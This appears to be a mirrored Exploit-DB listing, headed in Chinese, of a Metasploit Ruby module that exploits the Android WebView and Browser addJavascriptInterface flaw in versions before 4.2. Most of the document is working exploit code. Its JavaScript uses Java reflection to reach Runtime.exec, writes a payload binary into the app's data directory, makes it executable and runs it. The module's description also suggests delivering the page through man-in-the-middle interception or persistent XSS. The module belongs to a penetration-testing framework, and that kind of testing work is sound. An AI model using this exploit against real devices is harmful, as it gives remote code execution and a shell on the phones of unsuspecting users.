Android Browser and WebView addJavascriptInterface – Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2014-02-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/31519/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    
    include Msf::Exploit::Remote::BrowserExploitServer
    include Msf::Exploit::Remote::BrowserAutopwn
    
    autopwn_info({
    :os_flavor=> "Android",
    :arch => ARCH_ARMLE,
    :javascript => true,
    :rank => ExcellentRanking,
    :vuln_test=> %Q|
    for (i in top) {
    try {
    top[i].getClass().forName('java.lang.Runtime');
    is_vuln = true; break;
    } catch(e) {}
    }
    |
    })
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'Android Browser and WebView addJavascriptInterface Code Execution',
    'Description' => %q{
    This module exploits a privilege escalation issue in Android < 4.2's WebView component
    that arises when untrusted Javascript code is executed by a WebView that has one or more
    Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
    APIs exposed by the Interface and execute arbitrary commands.
    
    Some distributions of the Android Browser app have an addJavascriptInterface
    call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
    4.1.2 release of Android is known to be vulnerable.
    
    A secondary attack vector involves the WebViews embedded inside a large number
    of Android applications. Ad integrations are perhaps the worst offender here.
    If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
    into the page displayed in the WebView, then you can inject the html/js served
    by this module and get a shell.
    
    Note: Adding a .js to the URL will return plain javascript (no HTML markup).
    },
    'License' => MSF_LICENSE,
    'Author'=> [
    'jduck', # original msf module
    'joev' # static server
    ],
    'References' => [
    ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-'+
    'addjavascriptinterface-code-execution-vulnerability/'],
    ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
    ['URL', 'http://50.56.33.56/blog/?p=314'],
    ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-'+
    'addjavascriptinterface-remote-code-execution/']
    ],
    'Platform' => 'linux',
    'Arch' => ARCH_ARMLE,
    'DefaultOptions' => { 'PrependFork' => true },
    'Targets'=> [ [ 'Automatic', {} ] ],
    'DisclosureDate' => 'Dec 21 2012',
    'DefaultTarget'=> 0,
    'BrowserRequirements' => {
    :source=> 'script',
    :os_flavor=> "Android",
    :arch => ARCH_ARMLE
    }
    ))
    end
    
    def on_request_uri(cli, req)
    if req.uri.end_with?('js')
    print_status("Serving javascript")
    send_response(cli, js, 'Content-type' => 'text/javascript')
    else
    super
    end
    end
    
    def on_request_exploit(cli, req, browser)
    print_status("Serving exploit HTML")
    send_response_html(cli, html)
    end
    
    def js
    %Q|
    function exec(obj) {
    // ensure that the object contains a native interface
    try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
    
    // get the runtime so we can exec
    var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
    var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
    
    // get the process name, which will give us our data path
    var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
    var ch, path = '/data/data/';
    while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
    path += '/#{Rex::Text.rand_text_alpha(8)}';
    
    // build the binary, chmod it, and execute it
    m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
    m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
    m.invoke(null, null).exec([path]);
    
    return true;
    }
    
    for (i in top) { if (exec(top[i]) === true) break; }
    |
    end
    
    def html
    "<!doctype html><html><body><script>#{js}</script></body></html>"
    end
    end